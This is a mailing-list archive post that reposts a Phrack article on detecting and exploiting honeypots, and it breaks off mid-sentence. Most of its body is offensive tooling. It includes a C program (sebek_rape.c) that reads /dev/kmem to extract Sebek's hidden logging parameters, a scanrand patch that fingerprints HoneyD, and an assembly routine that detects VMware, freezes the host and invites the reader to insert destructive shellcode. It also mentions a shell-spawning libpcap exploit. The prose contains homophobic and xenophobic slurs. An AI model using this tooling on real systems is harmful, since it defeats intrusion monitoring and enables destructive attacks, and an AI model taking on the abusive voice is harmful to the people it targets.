Tue Mar 19 02:09:49 2024
EVENTS
 FREE
SOFTWARE
INSTITUTE

POLITICS
JOBS
MEMBERS'
CORNER

MAILING
LIST

NYLXS Mailing Lists and Archives
NYLXS Members have a lot to say and share but we don't keep many secrets. Join the Hangout Mailing List and say your peice.

DATE 2017-02-01

HANGOUT

2024-03-19 | 2024-02-19 | 2024-01-19 | 2023-12-19 | 2023-11-19 | 2023-10-19 | 2023-09-19 | 2023-08-19 | 2023-07-19 | 2023-06-19 | 2023-05-19 | 2023-04-19 | 2023-03-19 | 2023-02-19 | 2023-01-19 | 2022-12-19 | 2022-11-19 | 2022-10-19 | 2022-09-19 | 2022-08-19 | 2022-07-19 | 2022-06-19 | 2022-05-19 | 2022-04-19 | 2022-03-19 | 2022-02-19 | 2022-01-19 | 2021-12-19 | 2021-11-19 | 2021-10-19 | 2021-09-19 | 2021-08-19 | 2021-07-19 | 2021-06-19 | 2021-05-19 | 2021-04-19 | 2021-03-19 | 2021-02-19 | 2021-01-19 | 2020-12-19 | 2020-11-19 | 2020-10-19 | 2020-09-19 | 2020-08-19 | 2020-07-19 | 2020-06-19 | 2020-05-19 | 2020-04-19 | 2020-03-19 | 2020-02-19 | 2020-01-19 | 2019-12-19 | 2019-11-19 | 2019-10-19 | 2019-09-19 | 2019-08-19 | 2019-07-19 | 2019-06-19 | 2019-05-19 | 2019-04-19 | 2019-03-19 | 2019-02-19 | 2019-01-19 | 2018-12-19 | 2018-11-19 | 2018-10-19 | 2018-09-19 | 2018-08-19 | 2018-07-19 | 2018-06-19 | 2018-05-19 | 2018-04-19 | 2018-03-19 | 2018-02-19 | 2018-01-19 | 2017-12-19 | 2017-11-19 | 2017-10-19 | 2017-09-19 | 2017-08-19 | 2017-07-19 | 2017-06-19 | 2017-05-19 | 2017-04-19 | 2017-03-19 | 2017-02-19 | 2017-01-19 | 2016-12-19 | 2016-11-19 | 2016-10-19 | 2016-09-19 | 2016-08-19 | 2016-07-19 | 2016-06-19 | 2016-05-19 | 2016-04-19 | 2016-03-19 | 2016-02-19 | 2016-01-19 | 2015-12-19 | 2015-11-19 | 2015-10-19 | 2015-09-19 | 2015-08-19 | 2015-07-19 | 2015-06-19 | 2015-05-19 | 2015-04-19 | 2015-03-19 | 2015-02-19 | 2015-01-19 | 2014-12-19 | 2014-11-19 | 2014-10-19 | 2014-09-19 | 2014-08-19 | 2014-07-19 | 2014-06-19 | 2014-05-19 | 2014-04-19 | 2014-03-19 | 2014-02-19 | 2014-01-19 | 2013-12-19 | 2013-11-19 | 2013-10-19 | 2013-09-19 | 2013-08-19 | 2013-07-19 | 2013-06-19 | 2013-05-19 | 2013-04-19 | 2013-03-19 | 2013-02-19 | 2013-01-19 | 2012-12-19 | 2012-11-19 | 2012-10-19 | 2012-09-19 | 2012-08-19 | 2012-07-19 | 2012-06-19 | 2012-05-19 | 2012-04-19 | 2012-03-19 | 2012-02-19 | 2012-01-19 | 2011-12-19 | 2011-11-19 | 2011-10-19 | 2011-09-19 | 2011-08-19 | 2011-07-19 | 2011-06-19 | 2011-05-19 | 2011-04-19 | 2011-03-19 | 2011-02-19 | 2011-01-19 | 2010-12-19 | 2010-11-19 | 2010-10-19 | 2010-09-19 | 2010-08-19 | 2010-07-19 | 2010-06-19 | 2010-05-19 | 2010-04-19 | 2010-03-19 | 2010-02-19 | 2010-01-19 | 2009-12-19 | 2009-11-19 | 2009-10-19 | 2009-09-19 | 2009-08-19 | 2009-07-19 | 2009-06-19 | 2009-05-19 | 2009-04-19 | 2009-03-19 | 2009-02-19 | 2009-01-19 | 2008-12-19 | 2008-11-19 | 2008-10-19 | 2008-09-19 | 2008-08-19 | 2008-07-19 | 2008-06-19 | 2008-05-19 | 2008-04-19 | 2008-03-19 | 2008-02-19 | 2008-01-19 | 2007-12-19 | 2007-11-19 | 2007-10-19 | 2007-09-19 | 2007-08-19 | 2007-07-19 | 2007-06-19 | 2007-05-19 | 2007-04-19 | 2007-03-19 | 2007-02-19 | 2007-01-19 | 2006-12-19 | 2006-11-19 | 2006-10-19 | 2006-09-19 | 2006-08-19 | 2006-07-19 | 2006-06-19 | 2006-05-19 | 2006-04-19 | 2006-03-19 | 2006-02-19 | 2006-01-19 | 2005-12-19 | 2005-11-19 | 2005-10-19 | 2005-09-19 | 2005-08-19 | 2005-07-19 | 2005-06-19 | 2005-05-19 | 2005-04-19 | 2005-03-19 | 2005-02-19 | 2005-01-19 | 2004-12-19 | 2004-11-19 | 2004-10-19 | 2004-09-19 | 2004-08-19 | 2004-07-19 | 2004-06-19 | 2004-05-19 | 2004-04-19 | 2004-03-19 | 2004-02-19 | 2004-01-19 | 2003-12-19 | 2003-11-19 | 2003-10-19 | 2003-09-19 | 2003-08-19 | 2003-07-19 | 2003-06-19 | 2003-05-19 | 2003-04-19 | 2003-03-19 | 2003-02-19 | 2003-01-19 | 2002-12-19 | 2002-11-19 | 2002-10-19 | 2002-09-19 | 2002-08-19 | 2002-07-19 | 2002-06-19 | 2002-05-19 | 2002-04-19 | 2002-03-19 | 2002-02-19 | 2002-01-19 | 2001-12-19 | 2001-11-19 | 2001-10-19 | 2001-09-19 | 2001-08-19 | 2001-07-19 | 2001-06-19 | 2001-05-19 | 2001-04-19 | 2001-03-19 | 2001-02-19 | 2001-01-19 | 2000-12-19 | 2000-11-19 | 2000-10-19 | 2000-09-19 | 2000-08-19 | 2000-07-19 | 2000-06-19 | 2000-05-19 | 2000-04-19 | 2000-03-19 | 2000-02-19 | 2000-01-19 | 1999-12-19

Key: Value:

Key: Value:

MESSAGE
DATE 2017-02-11
FROM Ruben Safir
SUBJECT Subject: [Hangout-NYLXS] Hackers and Honepots
http://www.ouah.org/p63-0x09.txt
==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x09 of 0x0f

|=----------------=[ Advanced Honey Pot Identification ]=---------------=|
|=-----------------------=[ And Exploitation ]=------------------------=|
|=----------------------------------------------------------------------=|
|=------------------------=[ Joseph Corey ]=-------------------------=|


"Listen to Me! I'm Lance Spitzner and I have CIA Funding!"
- Lance Spitzner, Mexico G-Con 2003 (Drunk on Tequila)


1 - Forward

2 - Sebek 2
2.1 - sebek_rape.c

3 - Remote HoneyD Viewing
3.1 - paketto-1.10-honeyDetect.patch

4 - Detection of Virtual Honeypots, How Soon We Forget.
4.1 - vmware_detect.s

5 - Encore du Vmware

6 - Conclusion




--[ 1. Forward

It has been an exciting past three months. Since writing for Phrack 62,
I have recieved many emails of support from the fans of AHA (The
AntiHoneynet Alliance). The success of the last article has prompted the
Phrack Editors to request an update to the work presented in the
previous article. Despite an intense class schedule, I hope that I can
present you with a enlightening and yet entertaining article on Anti
Honeynet Technologies.

In the previous article I looked at the underlying flaws which make
honeypots an unworkable technology and how it was possible to identify
honeypots by the software they were running and looking for
abnormalities introduced by the honeypot. This article continues the
demonstration of the underlying flawed premises in the Honeynet project
by revisiting sebek to demonstrate what can be done once it is detected,
How HoneyD can be remotely detected, and presenting a method to detect
and disable Virtual HoneyNets that can be combined with any already
available public exploit.




--[ 2. Sebek 2

Since the release of the first article, sebek has undergone some
revisions. None of which have done any good at making sebek a better
key logger. Infact, sebek remains as the only keylogger more useless and
easy to detect then thc-vlogger 2.1 -- but thats an article for another
time.

The question most recieved was how can sebek2 be exploited once it is
detected? The answer is quite simple -- Sebek server 2.1.3 uses libpcap
to capture packets.

Now, before we go jumping to arbitrary code execution, there are a
couple problems that have to be overcome in order to deliver our packet
of christmas cheer. First the destination ip address where the exploit
will be targeted must be known. Since the exploit should bypass any
ip-layer filtering done by the sebek workstation it will also be
necessary to discover the MAC address associated with the Sebek Server's
IP While at it, it is usefull to also discover the super sekret
magic_value and source port. This can be used to ensure that any other
compromised honeypots are unable to sniff the traffic targeting the
sebek sever.

*ED: Isn't it nice for Edward to make it easier for us not to expose our
* exploits by supplying free filtering in the kernel! You almost dont
* need a rootkit. Hats off to you Edward.

The discovery of this information is seemingly complex or impossible at
first glance. On linux, for example, Sebek hides the module symbols by
using the EXPORT_NO_SYMBOLS directive to prevent internal symbols from
being added to the kernel symbol list. If that were not enough, sebek is
commonly removed from the module list by using a cleaning module. Once
removed from the module list, sebek will no longer appear in the listing
of modules -- any remaining symbols are safely hidden. Or so one would
think.

Even with the EXPORT_NO_SYMBOLS directive a few sebek symbols are still
defined. The symbols are necessary to link the module to the kernel.
These necessary symbols are the ELF section definitions. These are
visable by grepping /proc/ksyms on linux for "sebek" after the module is
loaded. One that is of particular intrest is the symbol
"_insmod_sebek.S.data". This symbol marks the beginning of the data
section of the sebek binary, where global varables in the module will
appear. A few of the more intresting global varables are the
destination_ip, destination_mac, source port, and magic_value.

It would be easy to find the section definitions if the symbol list were
still attached to the linked list of modules. A traversal of the module
list looking in the symbol array of each module would quickly reveal the
sebek module. But, as I mentioned, sebek provides for the removal of the
module informaiton (and the symbol information) from the kernel by using
the cleaner module. However, the removal of the module structure from
the list only serves to obscure the information. And Everyone knows
Security thru Obscurity is shorthand for 0wnage.

Instead of a kernel module to discover and extract the symbol
informaiton (that would be way to easy), A program is provided that will
discover the informaiton by reading from /dev/kmem.

The program, when run against a sebek server will display the discovered
inforomation. Here's an example of a run on a development box:

[root-at-eeyore sebek-linux-2.1.3]# cat sebek.h

--SNIP--

#define BUFLEN 1400
#define SPORT 31337
#define DPORT 6969
#define MAGIC 0x00187350

--SNIP--

# Thats the important part -- the sport, dport, and magic have been set
# to sekret values. Next, load sebek.

[root-at-eeyore sebek-linux-2.1.3]# insmod sebek.o

# After loading the module, any good honeypot admin will load
# the cleaner to hide the module and the module's symbols.

[root-at-eeyore sebek-linux-2.1.3]# insmod cleaner.o
[root-at-eeyore sebek-linux-2.1.3]# lsmod
Module Size Used by Tainted: PF
cleaner 640 0 (unused)
[root-at-eeyore sebek-linux-2.1.3]# rmmod cleaner
[root-at-eeyore sebek-linux-2.1.3]# lsmod
Module Size Used by Tainted: PF
[root-at-eeyore sebek-linux-2.1.3]# cd ..

# Now, with sebek loaded.. its hidden.. right?

[root-at-eeyore HoneyPots]# ./sebek_rape
Address of __insmod_sebek_S.data is c697b580
Sebek Magic is 187350
Sebek Dest Port is 6969
Sebek Source Port is 31337
Sebek Source IP is 0
Sebek Dest IP is 0
Sebek Eth Src is 0: 0: 0: 0: 0: 0
Sebek Eth Dest is 0: 0: 0: 0: 0: 0


Additional development at this point could include disabling sebek by
modifying the values so that the sebek server would no longer pick up
the sebek log traffic. But, "That is left as an exercise for the
reader." The source for sebek_rape.c is included below:

----[ 2.1 sebek_rape.c

/*-----------------------------sebek_rape.c------------------------------*/

#include
#include
#include
#include
#include
#define FALSE 1
#define TRUE 0
#define NEGATIVE_ONE -1;
#define SEARCH_BUFFER (2048)
#define BAD_STRING "%s"
#define KMEM "/dev/kmem"
#define LOW_KMEM 0xC0000000
#define MAX_STRLEN 64
#define MAGIC_SYMBOL "__insmod_sebek_S.data"
#define OFFSET_MAGIC 0
#define OFFSET_DPORT 4
#define OFFSET_SPORT 6
#define OFFSET_SRC_IP 0x14c
#define OFFSET_DST_IP 0x148
#define OFFSET_ETH_SRC 0x182
#define OFFSET_ETH_DST 0x17c
int kfd = NEGATIVE_ONE;
void
bad (char *str)
{ fprintf (stderr, BAD_STRING, str); exit (1); }
int o_k (void)
{ kfd = open (KMEM, O_RDWR); }
int c_k (void)
{ close (kfd); }
int
rfk (unsigned int address, unsigned int bytes, char *buffer)
{
if (lseek (kfd, address, SEEK_SET) != address) return -1;
if (read (kfd, buffer, bytes) != bytes) return -1;
return bytes;
}
unsigned int
scnbuf (unsigned char **pptr, char *pattern, unsigned int length)
{
unsigned char *ptr;
unsigned int pattern_len;
unsigned char *location;
if (pptr == NULL || *pptr == NULL || pattern == NULL || *pattern == '\0'
|| length == 0) return 0;
pattern_len = strlen (pattern);
ptr = *pptr;
location = (char *) memmem (ptr, length, pattern, pattern_len);
*pptr = location;
if (location == NULL) return 0; else return 1;
}
unsigned int ciksym (unsigned int occ_in_kmem) { unsigned int *buf;
unsigned int pos; unsigned int numbytes; buf = (unsigned int *) malloc
(SEARCH_BUFFER + sizeof (unsigned int)); for (pos = LOW_KMEM; FALSE; pos
+= SEARCH_BUFFER) { int index; unsigned int **occ; occ = (unsigned int
**) malloc (sizeof (void *)); if (!occ) bad ("Unable to allocate
memory.\n"); bzero (buf, SEARCH_BUFFER + sizeof (unsigned int)); if
((numbytes = rfk (pos, SEARCH_BUFFER + 4, (unsigned char *) buf) < 0))
break; *occ = buf; for (index = 0; index < (SEARCH_BUFFER / sizeof
(unsigned int)); index++) { if (buf[index] == occ_in_kmem) { unsigned
int offib; unsigned int value; unsigned int value2; offib = (unsigned
int) &buf[index] - (unsigned int) buf; rfk ((pos + offib - 4), 4,
(unsigned char *) &value); if (value > 0xC0000000) { free (buf); return
value; }
}
}
}
free (buf);
return 0;
}
unsigned int
ksf (char *symnam)
{
unsigned char *buf;
unsigned int pos;
unsigned int numbytes;
unsigned int ksa;
unsigned int lsf = 0;
if (strlen (symnam) > MAX_STRLEN) return 0;
buf = (char *) malloc (SEARCH_BUFFER + MAX_STRLEN);
if (!buf) return 0;
for (pos = LOW_KMEM; FALSE; pos += SEARCH_BUFFER)
{
unsigned char **occ;
occ = (unsigned char **) malloc (sizeof (void *));
if (!occ) bad ("Unable to allocate memory.\n");
bzero (buf, SEARCH_BUFFER + MAX_STRLEN);
if ((numbytes = rfk (pos, SEARCH_BUFFER + MAX_STRLEN, buf) < 0))
break;
*occ = buf;
sag:
if (scnbuf (occ, symnam, MAX_STRLEN + SEARCH_BUFFER - ((unsigned int)
*occ - (unsigned int) buf)))
{
unsigned int offb;
offb = (unsigned int) *occ - (unsigned int) buf; ksa = ciksym ((pos +
offb));
(*occ)++;
if (ksa)
{ free (buf); lsf = ksa; }
goto sag;
}
}
if (lsf) return lsf; else return 0;
}
unsigned int baalsds = 0;
int
main ()
{
unsigned int addr;
unsigned int dword;
unsigned short word;
unsigned char eth[6];
if (!o_k ()) bad ("unable to open kmem for reading.\n");
baalsds = ksf (MAGIC_SYMBOL);
if (baalsds < 0xC0000000) bad ("Cant find Symbol\n");
printf ("Address of %s is %x\n", MAGIC_SYMBOL, baalsds);
rfk (baalsds + OFFSET_MAGIC, 4, (unsigned char *) &dword);
printf ("Sebek Magic is %lx\n", dword);
rfk (baalsds + OFFSET_DPORT, 2, (unsigned char *) &word);
printf ("Sebek Dest Port is %d\n", word);
rfk (baalsds + OFFSET_SPORT, 2,
(unsigned char *) &word);
printf ("Sebek Source Port is %d\n", word);
rfk (baalsds + OFFSET_SRC_IP, 4, (unsigned char *) &dword);
printf ("Sebek Source IP is %x\n", dword);
rfk (baalsds + OFFSET_DST_IP, 4, (unsigned char *) &dword);
printf ("Sebek Dest IP is %x\n", dword);
for (word = 0; word < 6; word++) rfk (baalsds + OFFSET_ETH_SRC + word,
1, eth + word);
printf ("Sebek Eth Src is %2x:%2x:%2x:%2x:%2x:%2x\n", eth[0], eth[1],
eth[2], eth[3], eth[4], eth[5]);
for (word = 0; word < 6; word++) rfk (baalsds + OFFSET_ETH_DST + word,
1, eth + word);
printf ("Sebek Eth Dest is %2x:%2x:%2x:%2x:%2x:%2x\n", eth[0], eth[1],
eth[2], eth[3], eth[4], eth[5]);
return 0;
}

/*-----------------------------sebek_rape.c------------------------------*/

Now, having this information it can be fed into a libpcap 0.81 exploit
modified to work against the sebek server, phcebek. If successful, the
shellcode will open a listening and spawn a shell in response to each
incoming connection.


*ED: It is with deep regret that we have had to retract the phcebek
* tool out of the * article because we can not support the
* publication of vulnerability information despite it affecting
* honeypots. We apologize for this inconvenience, but wish
* to assure you, the reader, that it was totally awesome.

Looking forward, I would expect the Honeynet project to quickly address
this vulnerability by attempting to destroy the symbol string or even the
whole symbol array attached to the module structure before it is removed
from the module list. This is a very logical approach. It is also very
ineffective. Instead of extracting the symbols from the left-over symbol
list, the values necessary to deliver the exploit could be extracted
from the running system using many other techniques, such as extracting
the varables from the af_packet interface, or the trasmit function
called from within the bogus sys_read.




--[ 3. Remote HoneyD Viewing

In Phrack 62, a article was published in the Linenoise section listing
the IP addresses of Niels' HoneyD systems. Recently a major new update
was published for HoneyD. This update fixed none of the security
problems with the previous version, but succeeded in introducing even
more vulnerabilities.

However, before it is possible to exploit a HoneyD system you must know
where a HoneyD system is located. Finding a HoneyD system would seem to
be difficult -- HoneyD is intended to be invisible and to skillfully
emmulate a network of 'real' machines in order to provide fodder for
poorly written papers on the detection of spam, worms, or evil hackers.
The concepts arround detecting HoneyD are very complex, so I will
attempt to explain them in such a way that a CISSP can understand.

What is necessary is an unexpected network condition that will cause
HoneyD to respond to a remote system in a way that would indicate that
the box is a HoneyD system. This is called a Fingerprint. The act of
finding a Fingerprint for a system such as HoneyD is called
Fingerprinting. Fingerprinting is a complex process where a Security
Researcher throws random garbage network packets at a system hoping to
cause it to respond in a way or at a time that it should not respond.
Our crack team of "Security Researchers" found that a BAD syn packet
could cause HoneyD to respond when it should not respond. This is a
Fingerprint.

A Syn packet is a network packet that is sent from one computer, lets
call it Ralphie, to another computer, Shep, when Ralphie wants to talk
to Shep over "TCP/IP". This is called "Opening a Connection". The Syn
packet is a Syn packet because the syn bit is set in the tcp flags. When
the connection is over either Ralphie or Shep will send a FIN or a RST
packet. FIN and RST packets end connections. If you try to "Open a
Connection" then you are not trying to "Close a Connection". If you see
a packet that says "Open a Connection" and "Close a Connection" then it
is a "Bad Packet". Computers should not respond to these Bad Packets
unless they are HP Laserjet Printers. HoneyD is not a HP Laserjet
Printer. HoneyD should not respond to these "Bad Packets". HoneyD
responds to these "Bad Packets". This is Bad.

It is Good that HoneyD is Bad. Because HoneyD is bad it is possible to
remotely sense the presence of a HoneyD system. To scan for Bad HoneyD
systems a modified version of scanrand was developed in Anti Honeynet
Alliance members.

To demonstrate a network containing one real machine and a HoneyD
honeypot was set up. The hosts 10.1.2.202 and 10.1.2.203 are Virtual
HoneyD systems. 10.1.2.1 is a real system. All three systems are running
sshd on port 22 and 10.1.2.202 is running telnet (the host is a cisco
router):

-------------------------------------------------------------------------------
[root-at-piglett src]# telnet 10.1.2.202
Trying 10.1.2.202...
Connected to 10.1.2.202.
Escape character is '^]'.
Users (authorized or unauthorized) have no explicit or
implicit expectation of privacy. Any or all uses of this
system may be intercepted, monitored, recorded, copied,
audited, inspected, and disclosed to authorized site,
and law enforcement personnel, as well as to authorized
officials of other agencies, both domestic and foreign.
By using this system, the user consents to such
interception, monitoring, recording, copying, auditing,
inspection, and disclosure at the discretion of authorized
site.

Unauthorized or improper use of this system may result in
administrative disciplinary action and civil and criminal
penalties. By continuing to use this system you indicate
your awareness of and consent to these terms and conditions
of use. LOG OFF IMMEDIATELY if you do not agree to the
conditions stated in this warning.



User Access Verification

Username:
telnet> quit
Connection closed.
[root-at-piglett src]# telnet 10.1.2.202 22
Trying 10.1.2.203...
Connected to 10.1.2.203.
Escape character is '^]'.
SSH-1.5-2.40


^]
telnet> quit
Connection closed.
[root-at-piglett src]# telnet 10.1.2.204 22
Trying 10.1.2.1...
Connected to 10.1.2.1.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.4p1 Debian 1:3.4p1-1.woody.3

Protocol mismatch.
Connection closed by foreign host.
-------------------------------------------------------------------------------

To detect the HoneyD system we only need run the modified scanrand
binary using normal syntax. It will list HoneyD systems it finds during
the scan:

-------------------------------------------------------------------------------

[root-at-piglett src]# ls -l scanrand
-rwxr-xr-x 1 jcorey jcorey 782304 Dec 7 12:10 scanrand
[root-at-piglett src]# ./scanrand --help
scanrand 1.10: Stateless TCP Scanner w/ Inverse SYN Cookies(HMAC-SHA1/32
in SEQ)
Component of: Paketto Keiretsu 1.10; Dan Kaminsky (dan-at-doxpara.com)
Example: scanrand -b10M 10.0.1.1-254:80,20-25,139
Def. Ports: Use [quick/squick/known/all] instead of explicitly
naming ports
Options: -S/-L: Only send requests / Only listen for responses
-e/-E: Show negative responses / Only show negative
responses
-t [timeout]: Wait n full seconds for the last response
(10s)
-b[bandwidth]: Limit bandwidth consumption to n b/k/m/g
bytes(0)
(0 supresses timeouts or maximizes bw
utilization)
-N/-NN : Enable name resolution (Prefer Source/Dest)
-v : Mark packets being sent, as well as received
-vv : Output full packet traces to stderr
Addressing: -d [device]: Send requests from this L2 hardware device
-i [source]: Send requests from this L3 IP address
-p [ port]: Send requests from this L4 TCP Port
-s [ seed]: Use prespecified seed for scan verification
-f [ file]: Read list of targets from file
Experiments: -l [ttl-ttl]: Statelessly TCP Traceroute
-D : Distco (Distance Discover) via forced RSTs
-c : Try checking Inverse SYN Cookie on Traceroute
Notes: Use Control-C to exit before scanrand
times out.
Be sure to use a longer timeout for slow
scans!
[n]: estimated network distance from
target host.
Be careful about available bandwidth --
use -b!
[root-at-piglett src]# ./scanrand -b10k 10.1.2.1-255:23-22
HoneyD Found -at-: 10.1.2.202:22 [01] 8.123s
HoneyD Found -at-: 10.1.2.202:23 [01] 8.147s
HoneyD Found -at-: 10.1.2.203:22 [01] 8.172s
HoneyD Found -at-: 10.1.2.203:23 [01] 8.187s
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HoneyD is Found.

-------------------------------------------------------------------------------

The HoneyD version used in this example was 0.7a. The HoneyD system did
not notice anything strange in the scan. From the logs it appeared very
similar to a regular syn scan:

-------------------------------------------------------------------------------
honeyd[230]: Connection request: tcp (10.1.2.40:33254 - 10.1.2.202:22)
honeyd[230]: Connection established: tcp (10.1.2.40:33254 -
10.1.2.202:22) <-> scripts/test.sh
honeyd[230]: Connection closed: tcp (10.1.2.40:33254 - 10.1.2.202:22)
honeyd[230]: Connection request: tcp (10.1.2.40:14619 - 10.1.2.202:22)
honeyd[230]: Connection dropped by reset: tcp (10.1.2.40:14619 -
10.1.2.202:22)
honeyd[230]: Connection request: tcp (10.1.2.40:14619 - 10.1.2.202:23)
honeyd[230]: Connection dropped by reset: tcp (10.1.2.40:14619 -
10.1.2.202:23)
honeyd[230]: Connection request: tcp (10.1.2.40:14619 - 10.1.2.203:22)
honeyd[230]: Connection request: tcp (10.1.2.40:14619 - 10.1.2.203:23)
honeyd[230]: Connection dropped by reset: tcp (10.1.2.40:14619 -
10.1.2.203:23)
honeyd[230]: Expiring TCP (10.1.2.40:14619 - 10.1.2.203:22) (0x810eb58)
in state 3
honeyd[230]: Expiring OS fingerprint for 10.1.2.40

Once detected, it is then trival to execute arbitrary code on the remote
system running HoneyD. Because HoneyD must talk to the network using
privileged networking sockets such as RAW, it is certain to be running as
root.

----[ 3.1 paketto-1.10-honeyDetect.patch

*
* ED: Heh, a Security Tool used to detect hackers being used as the
* entry point. Undoubtedly anyone running Honeynetworking tools
* doesnt worry about being compromised because they run snort.
*

The patch against paketto-1.10:

/*---------------------paketto-1.10-honeyDetect.patch----------------------*/

diff -r -c paketto-1.10/src/scanrand.c paketto-1.10-honeyd/src/scanrand.c
*** paketto-1.10/src/scanrand.c 2002-12-24 11:11:36.000000000 -0500
--- paketto-1.10-honeyd/src/scanrand.c 2003-12-07 12:10:53.000000000 -0500
***************
*** 301,313 ****
else fprintf(stdout, "(%16.16s -> %-16.16s)\n", buf+16, buf+32);
}
}
else if(x.icmp->icmp_type == ICMP_UNREACH)
{
! if(ic.ip->ip_p == IPPROTO_TCP && /* no TCP flags in ICMP's TCP
chunklet */
(!check_icmp_seq || ic.tcp->th_seq == bake_syncookie((u_char
*)ic.ip, seed)))
{
timeval_subtract(&diff, &pkthdr.ts, &start);
! gettimeofday(&then, NULL); /* just for the loop maintenance */
snprintf(buf2, sizeof(buf2), "un%2.2i", x.icmp->icmp_code);
snprintf(buf + 0, 16, inet_ntoa(x.ip->ip_src));
snprintf(buf +16, 16, inet_ntoa(ic.ip->ip_src));
--- 301,314 ----
else fprintf(stdout, "(%16.16s -> %-16.16s)\n", buf+16, buf+32);
}
}
+ /*
else if(x.icmp->icmp_type == ICMP_UNREACH)
{
! if(ic.ip->ip_p == IPPROTO_TCP && // no TCP flags in ICMP's TCP
chunklet //
(!check_icmp_seq || ic.tcp->th_seq == bake_syncookie((u_char
*)ic.ip, seed)))
{
timeval_subtract(&diff, &pkthdr.ts, &start);
! gettimeofday(&then, NULL); // just for the loop maintenance //
snprintf(buf2, sizeof(buf2), "un%2.2i", x.icmp->icmp_code);
snprintf(buf + 0, 16, inet_ntoa(x.ip->ip_src));
snprintf(buf +16, 16, inet_ntoa(ic.ip->ip_src));
***************
*** 323,328 ****
--- 324,330 ----
else fprintf(stdout, "(%16.16s -> %-16.16s)\n", buf+16, buf);

}
}
+ */

}
/* Accept SYN|ACKs and RST|ACKs */
***************
*** 342,350 ****
bzero(buf, sizeof(buf));
bzero(buf2, sizeof(buf2));
timeval_subtract(&diff, &now, &start);
! if(x.tcp->th_flags == (TH_SYN | TH_ACK) && show_accepted)
snprintf(buf2, sizeof(buf2), " UP"); /* merry christmas */
! if(x.tcp->th_flags == (TH_RST | TH_ACK) && show_rejected)
snprintf(buf2, sizeof(buf2), "DOWN"); /* happy holidays */
! if(x.tcp->th_flags == (TH_RST ) )
snprintf(buf2, sizeof(buf2), "DSCO"); /* santa got his ass handed to him */
if((int)buf2[0]) /* :-P */
{
fprintf(stdout, "%s: %16.16s:%-5i [%2.2hu]", buf2,
inet_ntoa(x.ip->ip_src), ntohs(x.tcp->th_sport),
estimate_hopcount(x.ip->ip_ttl));
--- 344,350 ----
bzero(buf, sizeof(buf));
bzero(buf2, sizeof(buf2));
timeval_subtract(&diff, &now, &start);
! if(x.tcp->th_flags == (TH_SYN | TH_ACK) && show_accepted)
snprintf(buf2, sizeof(buf2), " HoneyD Found -at-"); /* merry christmas */
if((int)buf2[0]) /* :-P */
{
fprintf(stdout, "%s: %16.16s:%-5i [%2.2hu]", buf2,
inet_ntoa(x.ip->ip_src), ntohs(x.tcp->th_sport),
estimate_hopcount(x.ip->ip_ttl));
diff -r -c paketto-1.10/src/scanutil.c paketto-1.10-honeyd/src/scanutil.c
*** paketto-1.10/src/scanutil.c 2002-12-24 10:46:10.000000000 -0500
--- paketto-1.10-honeyd/src/scanutil.c 2003-12-07 12:05:51.000000000 -0500
***************
*** 282,288 ****
139, // dest port
420, // seq
0, // ack
! TH_SYN, // flags
4096, // win
0, // urgp
NULL, // tcp payload
--- 282,288 ----
139, // dest port
420, // seq
0, // ack
! TH_SYN | TH_RST , // flags
4096, // win
0, // urgp
NULL, // tcp payload

/*---------------------paketto-1.10-honeyDetect.patch----------------------*/

FOOTNOTE: Dan Kaminsky is also a whitehat fag; I only used this tool
because I didn't feel like writing something from scratch.




--[ 4. Detection of Virtual Honeypots, How Soon We Forget.

Virtual honeypots are a popular option among security 'researchers'
wishing to setup honeypots. They offer a multitude of benefits, none of
which are worth talking about. In all situations a Virtual host is setup
and deployed. The Virtulization software of choice by Honeynet members
is VMWARE. This is the best tool to use for setting up Virtual Honeypots
because they give free licenses to people who pump their product.

Highly learned people such as high school graduates and CISSPs will tell
you that VMWare, with the exception of the host's MAC address on its
network interfaces, is undetectable and that anything a hacker could do
would work just as well on a VMWare host as it would on a system
"running under its own power". This would truly be nice if it were not
also absolutely incorrect.

In november of 2002, Andrew Hintz published a tool he developed along
with Aaron Walters that would detect vmware by attempting a IO
operation on a backdoor port on the VMWare host that is used by
vmware-tools on the guest system to communicate with the VMWare process.
The backdoor IO port is described in detail at
http://chitchat.at.infoseek.co.jp/vmware/vmtools.html.

The backdoor port will allow a process running at ring 3 to initiate
various vmware actions such as adding hardware, removing hardware,
initiating dialog with the GUI interface on the host system, moving data
into and out of the host systems clipboard, and modifying preference
settings (such as using the hgfs on vmware 4).

By using the backdoor port, a malicious or bad hacker could cause
arbitrary code to execute on the host computer or modify any using the
security credentials of the user running vmware in the host computer.
Commands are sent to the backdoor port by requesting input or output via
the 5658h port and putting the VMWARE magic number of 564d5868 or "VMXh"
in the EAX register. The command to be executed is loaded into ECX and
any arguments to the command are passed in via EBX. A list of the
commands to the VMWARE backdoor and the arguments to those commands are
available from the website refrenced above.

If a call to the VMWARE port is made on a non-vmware system, then a
segfault will result. By checking for a segfault while issuing a vmware
command, it is possible to determine if you are executing on a vmware
host, and then react accordingly.

Below is a demonstration of how the VMware backdoor port could be used
for some clean, safe fun by a malicous attacker.


----[ 4.1 vmware_detect.s

/*-----------------------------vmware_detect.s------------------------------*/
.globl __safe
.type __safe, -at-function
__safe:

/**
** Insert code or callout to a function containing code that
** should only be executed when not on a honeypot.
**/
ret
.size __safe, .-__safe
.globl __hsegv
.type __hsegv, -at-function
__hsegv:
subl $12, %esp
call __safe
subl $12, %esp
pushl $0
call exit
.size __hsegv, .-__hsegv
.globl __vmwtst
.type __vmwtst, -at-function
__vmwtst:
subl $12, %esp
subl $8, %esp
pushl $__hsegv
pushl $11
call signal
addl $16, %esp

/** If it is a VMWARE system, leave a calling card. This
** will freeze the VMWARE system until the operator clicks OK.
** Honeypot people love this.
**/

.VMWAREROX:
movl $0x564D5868, %eax

/** Alternatively, the port may have been moved
** by using the pro-terrorist, white-flagger
** french patch. The proper port for them is
** 0x48506f74
**
** movl $0x48506f74, %ebx
**
** It is possible to call a new .VMWAREROXFROGS with
** the french number from within the signal handler,
** but be carefull ;).
**/
movl $0x3c6cf712, %ebx
movl $0x0000000C, %ecx
movl $0x5658, %edx;
in %dx, %eax;
jmp .VMWAREROX

/**
** Insert Code at this point that should be executed if you _MAY_
** be on a honeypot. Such fun things as using various inventive
** rm'ing shellcode is one possibility. You will need to delete
** the previous line or this code will not be reached.
**/
subl $12, %esp
pushl $-1
call exit
.size __vmwtst, .-__vmwtst
/*-----------------------------vmware_detect.s------------------------------*/

The above code will check to see if the host is a vmware host. If the
host is a vmware host it will freeze the host by bringing up a pop-up
